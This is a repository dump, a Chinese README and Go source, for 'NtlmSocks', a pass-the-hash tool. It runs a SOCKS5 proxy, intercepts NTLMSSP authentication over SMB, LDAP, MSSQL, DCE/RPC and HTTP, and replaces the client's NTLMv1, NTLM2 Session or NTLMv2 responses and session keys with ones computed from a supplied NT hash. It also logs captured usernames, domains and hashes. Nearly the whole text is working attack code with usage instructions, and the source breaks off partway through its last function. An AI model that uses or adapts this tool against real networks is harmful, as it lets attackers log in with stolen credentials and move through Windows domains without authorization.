├── README.md └── ntlm_socks.go /README.md: -------------------------------------------------------------------------------- 1 | # NtlmSocks 2 | 一个工作在网络层的跨平台哈希传递工具 3 | ## 原理 4 | 开启一个socks代理,在流量中匹配NTLMSSP数据包,替换其中错误的NT哈希和会话密钥 5 | ## 使用 6 | ntlm_socks -b 要替换的错误密码 -h NT哈希 -p socks代理要监听的端口 7 | 在Mac,Windows,Linux上均适用。 8 | ## 已知的缺陷 9 | 在Windows7上对Windows7进行认证时,NTLMSSP数据包中会多一个签名,使用工具修改数据包后会导致签名校验失败。Windows向下兼容,这个签名可有可无,所以在低版本Windows或者Linux上使用此工具即可避免。 10 | ## 可能存在的缺陷 11 | 替换Net-NTLM哈希的同时工具还会替换NTLM会话密钥,如果协商结果并没有交换会话密钥,那么后面加密或者签名使用的密钥不一致,操作会失败。 12 | -------------------------------------------------------------------------------- /ntlm_socks.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "io" 7 | "net" 8 | "bytes" 9 | "crypto/des" 10 | "./golang.org/x/crypto/md4" 11 | "crypto/md5" 12 | "crypto/hmac" 13 | "encoding/binary" 14 | "strconv" 15 | "unicode/utf16" 16 | "strings" 17 | "crypto/rc4" 18 | "encoding/base64" 19 | ) 20 | 21 | const ( 22 | NTLMv1 = 0x01 23 | NTLMv2_Session = 0x02 24 | NTLMv2 = 0x03 25 | 26 | Encode_None = 0x01 27 | Encode_Base64 = 0x02 28 | 29 | NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY = 0x00080000 30 | NTLMSSP_REQUEST_NON_NT_SESSION_KEY = 0x00400000 31 | NTLMSSP_NEGOTIATE_LM_KEY = 0x00000080 32 | ) 33 | 34 | var ( 35 | bad_pass_bytes []byte 36 | client_base_session_key []byte 37 | pass_bytes []byte 38 | ChallengeChan chan []byte 39 | ) 40 | 41 | func fromUnicode(d []byte)string { 42 | if len(d)%2 > 0 { 43 | return "" 44 | } 45 | s := make([]uint16, len(d)/2) 46 | err := binary.Read(bytes.NewReader(d), binary.LittleEndian, &s) 47 | if err != nil { 48 | return "" 49 | } 50 | return string(utf16.Decode(s)) 51 | } 52 | 53 | func toUnicode(s string) []byte { 54 | uints := utf16.Encode([]rune(s)) 55 | b := bytes.Buffer{} 56 | binary.Write(&b, binary.LittleEndian, &uints) 57 | return b.Bytes() 58 | } 59 | 60 | func NT_OWFv2(ntlm_hash, username, domain []byte) []byte { 61 | return hmacMd5(ntlm_hash, toUnicode(strings.ToUpper(fromUnicode(username))), domain) 62 | } 63 | 64 | func calcNtlmv2_NTProofStr(ntlmV2Hash, serverChallenge, timestamp, clientChallenge, targetInfo []byte) []byte { 65 | temp := []byte{1, 1, 0, 0, 0, 0, 0, 0} 66 | temp = append(temp, timestamp...) 67 | temp = append(temp, clientChallenge...) 68 | temp = append(temp, 0, 0, 0, 0) 69 | temp = append(temp, targetInfo...) 70 | return hmacMd5(ntlmV2Hash, serverChallenge, temp) 71 | } 72 | 73 | func hmacMd5(key []byte, data ...[]byte) []byte { 74 | mac := hmac.New(md5.New, key) 75 | for _, d := range data { 76 | mac.Write(d) 77 | } 78 | return mac.Sum(nil) 79 | } 80 | 81 | func md4_of(data []byte) []byte{ 82 | ctx := md4.New() 83 | ctx.Write(data) 84 | return ctx.Sum(nil) 85 | } 86 | 87 | func calcNTLMv1(challenge []byte, pass []byte) []byte { 88 | hash := make([]byte, 21) 89 | res := make([]byte, 24) 90 | copy(hash,pass) 91 | 92 | blk, _ := des.NewCipher(convDes7to8(hash[0:7])) 93 | blk.Encrypt(res[0:8], challenge) 94 | 95 | blk, _ = des.NewCipher(convDes7to8(hash[7:14])) 96 | blk.Encrypt(res[8:16], challenge) 97 | 98 | blk, _ = des.NewCipher(convDes7to8(hash[14:21])) 99 | blk.Encrypt(res[16:24], challenge) 100 | 101 | return res 102 | } 103 | 104 | // ConvDes7to8 adds parity bit after every 7th bit. 105 | func convDes7to8(src []byte) []byte { 106 | res := make([]byte, 8) 107 | 108 | res[0] = src[0] & 0xFE 109 | res[1] = (src[0]<<7)&0xFF | (src[1]>>1)&0xFE 110 | res[2] = (src[1]<<6)&0xFF | (src[2]>>2)&0xFE 111 | res[3] = (src[2]<<5)&0xFF | (src[3]>>3)&0xFE 112 | res[4] = (src[3]<<4)&0xFF | (src[4]>>4)&0xFE 113 | res[5] = (src[4]<<3)&0xFF | (src[5]>>5)&0xFE 114 | res[6] = (src[5]<<2)&0xFF | (src[6]>>6)&0xFE 115 | res[7] = (src[6] << 1) & 0xFF 116 | 117 | for i := range res { 118 | if ((res[i]>>7 ^ res[i]>>6 ^ res[i]>>5 ^ res[i]>>4 ^ res[i]>>3 ^ res[i]>>2 ^ res[i]>>1) & 0x01) == 0 { 119 | res[i] |= 0x01 120 | } 121 | } 122 | 123 | return res 124 | } 125 | 126 | type Ntlm_req_auth struct { 127 | Protocol string 128 | Ntlmssp_location int 129 | Req_data []byte 130 | Ntlm_Type int 131 | Encode_Type int 132 | Client_Challenge [8]byte 133 | 134 | Lm_offset int 135 | Ntlm_response_24 [24]byte 136 | Ntlm_offset int 137 | Session_key_offset int 138 | Session_key [16]byte 139 | //Ntlm_v2_response []byte 140 | Domain []byte 141 | User []byte 142 | Host []byte 143 | NTProofStr [16]byte 144 | Timestamp [8]byte 145 | Target_info []byte 146 | 147 | 148 | } 149 | 150 | type handle struct { 151 | Data *bytes.Buffer 152 | } 153 | 154 | func identification_protocol(h *handle) string{ 155 | var protocol string 156 | if bytes.Compare(h.Data.Bytes()[4:8], []byte("\xffSMB")) == 0{ 157 | protocol = "SMB" 158 | }else if bytes.Compare(h.Data.Bytes()[4:8], []byte("\xfeSMB")) == 0{ 159 | protocol = "SMB2" 160 | }else if bytes.Compare(h.Data.Bytes()[0:2], []byte("\x05\x00")) == 0{ 161 | protocol = "DEC/RPC 5" 162 | }else if bytes.Compare(h.Data.Bytes()[0:4], []byte("\x30\x84\x00\x00")) == 0{ 163 | protocol = "LDAP" 164 | }else if ( (bytes.Compare(h.Data.Bytes()[0:1], []byte("\x04")) == 0) && (bytes.Compare(h.Data.Bytes()[11:23], []byte("NTLMSSP\x00\x02\x00\x00\x00")) == 0) ){ 165 | protocol = "MSSQL" 166 | }else if ( (bytes.Compare(h.Data.Bytes()[0:1], []byte("\x11")) == 0) && (bytes.Compare(h.Data.Bytes()[8:20], []byte("NTLMSSP\x00\x03\x00\x00\x00")) == 0) ){ 167 | protocol = "MSSQL" 168 | }else if ( (bytes.Compare(h.Data.Bytes()[0:4], []byte("GET ")) == 0) || (bytes.Compare(h.Data.Bytes()[0:5], []byte("POST ")) == 0) || (bytes.Compare(h.Data.Bytes()[0:4], []byte("HTTP")) == 0) ){ 169 | if bytes.Index(h.Data.Bytes(), []byte("\nAuthorization: NTLM TlRMTVNTUA")) != -1 || bytes.Index(h.Data.Bytes(), []byte("\nWWW-Authenticate: NTLM TlRMTVNTUA")) != -1 || bytes.Index(h.Data.Bytes(), []byte("\nAuthorization: Negotiate TlRMTVNTUA")) != -1 || bytes.Index(h.Data.Bytes(), []byte("\nWWW-Authenticate: Negotiate TlRMTVNTUA")) != -1{ 170 | protocol = "HTTP" 171 | } 172 | } 173 | //fmt.Println(protocol) 174 | return protocol 175 | } 176 | 177 | func ntlm_get_challenge(h *handle) []byte{ 178 | if h.Data == nil{ 179 | return nil 180 | } 181 | protocol := identification_protocol(h) 182 | if protocol == ""{ 183 | return nil 184 | } 185 | data := make([]byte, 32, 32) 186 | if protocol == "HTTP"{ 187 | str_ntlm_challenge := []byte("\nWWW-Authenticate: NTLM ") 188 | location := bytes.Index(h.Data.Bytes(), str_ntlm_challenge) 189 | if location == -1{ 190 | str_ntlm_challenge = []byte("\nWWW-Authenticate: Negotiate ") 191 | location = bytes.Index(h.Data.Bytes(), str_ntlm_challenge) 192 | if location == -1{ 193 | return nil 194 | } 195 | } 196 | var tmp []byte 197 | 198 | for i:=location + len(str_ntlm_challenge);i>0;i++{ 199 | if bytes.Compare(h.Data.Bytes()[i:i+1], []byte("\r")) == 0{ 200 | break 201 | } 202 | tmp = append(tmp, h.Data.Bytes()[i]) 203 | } 204 | decodeBytes, err := base64.StdEncoding.DecodeString(string(tmp)) 205 | if err != nil{ 206 | return nil 207 | } 208 | copy(data, decodeBytes) 209 | }else{ 210 | str_ntlm_challenge := []byte("NTLMSSP\x00\x02\x00\x00\x00") 211 | location := bytes.Index(h.Data.Bytes(), str_ntlm_challenge) 212 | if location == -1{ 213 | return nil 214 | } 215 | copy(data, h.Data.Bytes()[location:]) 216 | } 217 | return data[24:32] 218 | } 219 | 220 | func location_ntlm_req(h *handle) Ntlm_req_auth{ 221 | req := Ntlm_req_auth{} 222 | if h.Data == nil { 223 | return req 224 | } 225 | protocol := identification_protocol(h) 226 | if protocol == ""{ 227 | return req 228 | } 229 | if protocol == "HTTP"{ 230 | str_ntlm_auth := []byte("\nAuthorization: NTLM ") 231 | req.Ntlmssp_location = bytes.Index(h.Data.Bytes(), str_ntlm_auth) 232 | if req.Ntlmssp_location == -1{ 233 | str_ntlm_auth = []byte("\nAuthorization: Negotiate ") 234 | req.Ntlmssp_location = bytes.Index(h.Data.Bytes(), str_ntlm_auth) 235 | if req.Ntlmssp_location == -1{ 236 | return req 237 | } 238 | } 239 | req.Ntlmssp_location += len(str_ntlm_auth) 240 | var tmp []byte 241 | for i:=req.Ntlmssp_location;i>0;i++{ 242 | if bytes.Compare(h.Data.Bytes()[i:i+1], []byte("\r")) == 0{ 243 | break 244 | } 245 | tmp = append(tmp, h.Data.Bytes()[i]) 246 | } 247 | decodeBytes, err := base64.StdEncoding.DecodeString(string(tmp)) 248 | if err != nil{ 249 | return req 250 | } 251 | req.Req_data = make([]byte, len(decodeBytes)) 252 | copy(req.Req_data[:], decodeBytes) 253 | req.Encode_Type = Encode_Base64 254 | }else{ 255 | str_ntlm_auth := []byte("NTLMSSP\x00\x03\x00\x00\x00") 256 | req.Ntlmssp_location = bytes.Index(h.Data.Bytes(), str_ntlm_auth)// == 63 257 | if req.Ntlmssp_location == -1{ 258 | return req 259 | } 260 | req.Req_data = make([]byte, len(h.Data.Bytes())-req.Ntlmssp_location) 261 | copy(req.Req_data[:], h.Data.Bytes()[req.Ntlmssp_location:]) 262 | req.Encode_Type = Encode_None 263 | } 264 | req.Protocol = protocol 265 | return req 266 | } 267 | 268 | func ntlm_get_authinfo(h *handle) Ntlm_req_auth{ 269 | req := location_ntlm_req(h) 270 | if req.Protocol != ""{ 271 | negotiate_flags := binary.LittleEndian.Uint32(req.Req_data[60:64]) 272 | req.Lm_offset = int(binary.LittleEndian.Uint32(req.Req_data[16:20])) 273 | req.Ntlm_offset = int(binary.LittleEndian.Uint32(req.Req_data[24:28])) 274 | domain_name_length := int(binary.LittleEndian.Uint16(req.Req_data[28:30])) 275 | domain_name_offset := int(binary.LittleEndian.Uint32(req.Req_data[32:36])) 276 | req.Domain = make([]byte, domain_name_length) 277 | copy(req.Domain[:], req.Req_data[domain_name_offset:domain_name_offset + domain_name_length]) 278 | 279 | user_name_length := int(binary.LittleEndian.Uint16(req.Req_data[36:38])) 280 | user_name_offset := int(binary.LittleEndian.Uint32(req.Req_data[40:44])) 281 | req.User = make([]byte, user_name_length) 282 | copy(req.User[:], req.Req_data[user_name_offset:user_name_offset + user_name_length]) 283 | 284 | host_name_length := int(binary.LittleEndian.Uint16(req.Req_data[44:46])) 285 | host_name_offset := int(binary.LittleEndian.Uint32(req.Req_data[48:52])) 286 | req.Host = make([]byte, host_name_length) 287 | copy(req.Host[:], req.Req_data[host_name_offset:host_name_offset + host_name_length]) 288 | 289 | session_key_length := int(binary.LittleEndian.Uint16(req.Req_data[52:54])) 290 | if session_key_length == 16{ 291 | req.Session_key_offset = int(binary.LittleEndian.Uint32(req.Req_data[56:60])) 292 | copy(req.Session_key[:], req.Req_data[req.Session_key_offset:req.Session_key_offset + 16]) 293 | } 294 | 295 | NTLM_response_length := binary.LittleEndian.Uint16(req.Req_data[20:22]) 296 | if NTLM_response_length != 24{ 297 | req.Ntlm_Type = NTLMv2 298 | copy(req.NTProofStr[:], req.Req_data[req.Ntlm_offset:req.Ntlm_offset + 16]) 299 | copy(req.Timestamp[:], req.Req_data[req.Ntlm_offset + 24:req.Ntlm_offset + 32]) 300 | copy(req.Client_Challenge[:], req.Req_data[req.Ntlm_offset + 32:req.Ntlm_offset + 40]) 301 | target_info_length := int(binary.LittleEndian.Uint16(req.Req_data[20 :22])) - 44 302 | if target_info_length < 0{ 303 | req.Protocol = "" 304 | return req 305 | } 306 | req.Target_info = make([]byte, target_info_length) 307 | copy(req.Target_info[:], req.Req_data[req.Ntlm_offset + 44:req.Ntlm_offset + 44 + target_info_length]) 308 | }else if (negotiate_flags >> 19)&1 == 1{ // .... .... .... 1... .... .... .... .... = Negotiate Extended Security: Set 当这个标志被设置的时候,客户端不会使用NTLMv1 309 | req.Ntlm_Type = NTLMv2_Session 310 | copy(req.Client_Challenge[:], req.Req_data[req.Lm_offset:req.Lm_offset + 8]) 311 | copy(req.Ntlm_response_24[:], req.Req_data[req.Ntlm_offset:req.Ntlm_offset + 24]) 312 | }else{ 313 | req.Ntlm_Type = NTLMv1 314 | copy(req.Ntlm_response_24[:], req.Req_data[req.Ntlm_offset:req.Ntlm_offset + 24]) 315 | } 316 | return req 317 | } 318 | return req 319 | } 320 | 321 | func ntlm_replace(h *handle, req Ntlm_req_auth){ 322 | if req.Ntlm_Type == NTLMv2{ 323 | copy(req.Req_data[req.Ntlm_offset:req.Ntlm_offset + 16], req.NTProofStr[:]) 324 | }else { 325 | copy(req.Req_data[req.Ntlm_offset:req.Ntlm_offset + 24], req.Ntlm_response_24[:]) 326 | } 327 | if req.Session_key_offset == 0{ 328 | /* 329 | 如果NTLM认证请求里没有交换会话KEY,就不替换了。 330 | 那么按照http://davenport.sourceforge.net/ntlm.html的说法,服务端和客户端就会使用从LM/NT Hash计算而来的Key,那么两边Key不同,验证失败。 331 | 但是一般有用到签名的,都会产生一个会话KEY然后交换,所以我就偷下懒,等遇到有服务端不交换临时会话KEY的时候,再想办法。 332 | 333 | 还有就是只实现了NTLMv1 NTLM2 Session NTLMv2的会话Key计算,没有通过Flag值来判断实际使用的会话Key算法(LMv1,LMv2,LM) 334 | */ 335 | }else{ 336 | random_key := make([]byte, 16) 337 | session_key := make([]byte, 16) 338 | 339 | 340 | 341 | fmt.Printf("[*]Client Base Session Key : %X\n", client_base_session_key) 342 | fmt.Printf("[*]Right Base Session Key : %X\n", req.Session_key) 343 | 344 | 345 | old_cipher, _ := rc4.NewCipher(client_base_session_key[:]) 346 | old_cipher.XORKeyStream(random_key, req.Req_data[req.Session_key_offset:req.Session_key_offset + 16]) 347 | fmt.Printf("[*]Random Key : %X\n", random_key) 348 | new_cipher, _ := rc4.NewCipher(req.Session_key[:]) 349 | new_cipher.XORKeyStream(session_key, random_key) 350 | fmt.Printf("[*]Session Key Replaced : %X => %X\n", req.Req_data[req.Session_key_offset:req.Session_key_offset + 16], session_key) 351 | //copy(req.Req_data[req.Session_key_offset:req.Session_key_offset + 16], session_key[:]) 352 | } 353 | 354 | var flow_raw_data []byte 355 | if req.Encode_Type == Encode_Base64{ 356 | flow_raw_data = append(flow_raw_data, base64.StdEncoding.EncodeToString(req.Req_data)...) 357 | }else if req.Encode_Type == Encode_None{ 358 | flow_raw_data = append(flow_raw_data, req.Req_data...) 359 | } 360 | copy(h.Data.Bytes()[req.Ntlmssp_location:], flow_raw_data) 361 | fmt.Println() 362 | } 363 | 364 | func (h *handle) Write(p []byte) (n int, err error){ 365 | h.Data = bytes.NewBuffer(p) 366 | return len(p),io.EOF 367 | } 368 | 369 | func (h *handle) Read(p []byte) (n int, err error){ 370 | if h.Data != nil{ 371 | copy(p, h.Data.Bytes()) 372 | return len(h.Data.Bytes()),io.EOF 373 | } 374 | return 0,nil 375 | } 376 | 377 | func handleClientRequest(client net.Conn) { 378 | if client == nil { 379 | return 380 | } 381 | defer client.Close() 382 | 383 | var b [1024]byte 384 | n, err := client.Read(b[:]) 385 | if err != nil { 386 | fmt.Println(err) 387 | return 388 | } 389 | 390 | if b[0] == 0x05 { //只处理Socks5协议 391 | //客户端回应:Socks服务端不需要验证方式 392 | client.Write([]byte{0x05, 0x00}) 393 | n, err = client.Read(b[:]) 394 | var host string 395 | switch b[3] { 396 | case 0x01: //IP V4 397 | host = net.IPv4(b[4], b[5], b[6], b[7]).String() 398 | case 0x03: //域名 399 | host = string(b[5 : n-2]) //b[4]表示域名的长度 400 | case 0x04: //IP V6 401 | host = net.IP{b[4], b[5], b[6], b[7], b[8], b[9], b[10], b[11], b[12], b[13], b[14], b[15], b[16], b[17], b[18], b[19]}.String() 402 | } 403 | port := strconv.Itoa(int(b[n-2])<<8 | int(b[n-1])) 404 | target_ip := net.JoinHostPort(host, port) 405 | 406 | 407 | defer client.Close() 408 | server, err := net.Dial("tcp", target_ip) 409 | if err != nil { 410 | fmt.Print(err) 411 | return 412 | } 413 | defer server.Close() 414 | client.Write([]byte{0x05, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) //响应客户端连接成功 415 | //进行转发 416 | ExitChan := make(chan string, 1) 417 | go func(client net.Conn, server net.Conn, Exit chan string) { 418 | fmt.Printf("%s <=> %s <=> %s\n", client.RemoteAddr(), client.LocalAddr(), server.RemoteAddr()) 419 | h := new(handle) 420 | for{ 421 | _, err = io.Copy(h, client) 422 | if err == nil || err != io.EOF{ 423 | break 424 | } 425 | select{ 426 | case Challenge := (<-ChallengeChan): 427 | req := ntlm_get_authinfo(h) 428 | if req.Protocol != ""{ 429 | fmt.Printf("[+]NTLM Over %s :\n", req.Protocol) 430 | fmt.Printf("\t[*]Server Challenge : %X\n", Challenge) 431 | fmt.Printf("\t[+]Request Info :\n") 432 | fmt.Printf("\t\t[*]Username : %v\n", fromUnicode(req.User)) 433 | fmt.Printf("\t\t[*]Domain : %v\n", fromUnicode(req.Domain)) 434 | fmt.Printf("\t\t[*]Hostname : %v\n", fromUnicode(req.Host)) 435 | if req.Ntlm_Type == NTLMv1{ 436 | fmt.Printf("\t[*]NTLM Response Type : NTLMv1\n") 437 | ntlm_v1_hash := calcNTLMv1(Challenge, pass_bytes[:]) 438 | fmt.Printf("\t[*]NTLMv1 Replaced : %X => %X\n", req.Ntlm_response_24, ntlm_v1_hash) 439 | copy(req.Ntlm_response_24[:], ntlm_v1_hash) 440 | 441 | session_key_v1 := md4_of(pass_bytes[:]) 442 | client_base_session_key = md4_of(bad_pass_bytes[:]) 443 | copy(req.Session_key[:], session_key_v1) 444 | }else if req.Ntlm_Type == NTLMv2_Session{ 445 | fmt.Printf("\t[*]NTLM Response Type : NTLMv2 Session\n") 446 | fmt.Printf("\t[*]Client Challenge : %X\n", req.Client_Challenge) 447 | md5Ctx := md5.New() 448 | md5Ctx.Write(Challenge) 449 | md5Ctx.Write(req.Client_Challenge[:]) 450 | Real_Challenge := md5Ctx.Sum(nil)[:8] 451 | ntlm_v2_session_hash := calcNTLMv1(Real_Challenge, pass_bytes[:]) 452 | fmt.Printf("\t[*]NTLMv2 Session Replaced : %X => %X\n", req.Ntlm_response_24[:], ntlm_v2_session_hash) 453 | copy(req.Ntlm_response_24[:], ntlm_v2_session_hash) 454 | 455 | session_key_v1 := md4_of(pass_bytes[:]) 456 | client_session_key_v1 := md4_of(bad_pass_bytes[:]) 457 | session_key_2 := hmacMd5(session_key_v1, Challenge, req.Client_Challenge[:]) 458 | client_base_session_key = hmacMd5(client_session_key_v1, Challenge, req.Client_Challenge[:]) 459 | copy(req.Session_key[:], session_key_2) 460 | 461 | }else if req.Ntlm_Type == NTLMv2{ 462 | fmt.Printf("\t[*]NTLM Response Type : NTLMv2\n") 463 | ntv2 := NT_OWFv2(pass_bytes[:], req.User, req.Domain) 464 | bad_ntv2 := NT_OWFv2(bad_pass_bytes[:], req.User, req.Domain) 465 | bad_NTProofStr := calcNtlmv2_NTProofStr(bad_ntv2, Challenge[:], req.Timestamp[:], req.Client_Challenge[:], req.Target_info) 466 | 467 | /* 468 | NTLMSSP字段里的Domain Name并不可信: 469 | Win2003不会把Domain Name拼接计算NTLMv2 Hash。 470 | 先假设会拼接,然后计算出NTProofStr比对流量中的NTProofStr,如果不一致就不拼接域名,重新计算,确保计算出的客户端Base Session Key正确,以便解密得到客户端生成的临时会话Key。 471 | */ 472 | if bytes.Compare(bad_NTProofStr, req.NTProofStr[:]) != 0{ 473 | bad_ntv2 = NT_OWFv2(bad_pass_bytes[:], req.User, []byte("")) 474 | client_base_session_key = hmacMd5(bad_ntv2, calcNtlmv2_NTProofStr(bad_ntv2, Challenge[:], req.Timestamp[:], req.Client_Challenge[:], req.Target_info)) 475 | }else{ 476 | client_base_session_key = hmacMd5(bad_ntv2, bad_NTProofStr) 477 | } 478 | 479 | //ntv2 := NT_OWFv2(pass_bytes[:], req.User, req.Domain) 480 | fmt.Printf("\t[*]NTLMv2 HASH : %X\n", ntv2) 481 | fmt.Printf("\t[*]Timestamp : %X\n", req.Timestamp) 482 | fmt.Printf("\t[*]Client Challenge : %X\n", req.Client_Challenge) 483 | fmt.Printf("\t[*]Target Info :\n") 484 | i:=0 485 | for { 486 | attribute_type := int(binary.LittleEndian.Uint16(req.Target_info[i:i + 2])) 487 | attribute_length := int(binary.LittleEndian.Uint16(req.Target_info[i + 2:i + 4])) 488 | if attribute_length == 0{ 489 | break 490 | } 491 | attribute_data := make([]byte, attribute_length) 492 | copy(attribute_data, req.Target_info[i + 4:i + 4 + attribute_length]) 493 | value := fromUnicode(attribute_data) 494 | 495 | i += 4 + attribute_length 496 | var key string 497 | switch attribute_type{ 498 | case 1: 499 | key = "NetBIOS Computer" 500 | break 501 | case 2: 502 | key = "NetBIOS Domain" 503 | break 504 | case 3: 505 | key = "DNS Computer" 506 | break 507 | case 4: 508 | key = "DNS Domain" 509 | break 510 | case 5: 511 | key = "DNS Tree" 512 | break 513 | case 9: 514 | key = "Target Info" 515 | break 516 | default: 517 | key = fmt.Sprintf("Type 0x%X", attribute_type) 518 | value = fmt.Sprintf("%X", attribute_data) 519 | } 520 | fmt.Printf("\t\t[*]%v : %v\n", key, value) 521 | } 522 | 523 | 524 | 525 | NTProofStr := calcNtlmv2_NTProofStr(ntv2, Challenge[:], req.Timestamp[:], req.Client_Challenge[:], req.Target_info) 526 | session_key_v2 := hmacMd5(ntv2, NTProofStr) 527 | fmt.Printf("\t[*]NTProofStr: %X => %X\n", req.NTProofStr, NTProofStr) 528 | copy(req.NTProofStr[:], NTProofStr) 529 | copy(req.Session_key[:], session_key_v2) 530 | } 531 | ntlm_replace(h, req) 532 | }else{ 533 | ChallengeChan <- Challenge 534 | } 535 | default: 536 | 537 | } 538 | _, err = io.Copy(server, h) 539 | } 540 | if err == nil{ 541 | err = fmt.Errorf("%s Close Socket", server.RemoteAddr()) 542 | } 543 | ExitChan <- err.Error() 544 | }(client, server, ExitChan) 545 | 546 | go func(client net.Conn, server net.Conn, Exit chan string) { 547 | h := new(handle) 548 | var err error 549 | for { 550 | _, err = io.Copy(h, server) 551 | if err == nil || err != io.EOF{ 552 | break 553 | } 554 | Challenge := ntlm_get_challenge(h) 555 | if Challenge != nil{ 556 | //fmt.Printf("Got Challenge => %X\n", Challenge) 557 | ChallengeChan <- Challenge 558 | } 559 | _, err = io.Copy(client, h) 560 | } 561 | if err == nil{ 562 | //fmt.Println(err) 563 | err = fmt.Errorf("%s Close Socket", server.RemoteAddr()) 564 | } 565 | ExitChan <- err.Error() 566 | }(client, server, ExitChan) 567 | fmt.Println(<-ExitChan) 568 | fmt.Println() 569 | } 570 | 571 | } 572 | 573 | func Format_password(pass string) []byte { 574 | _pass_bytes := make([]byte, len(pass)/2) 575 | for i:=0;i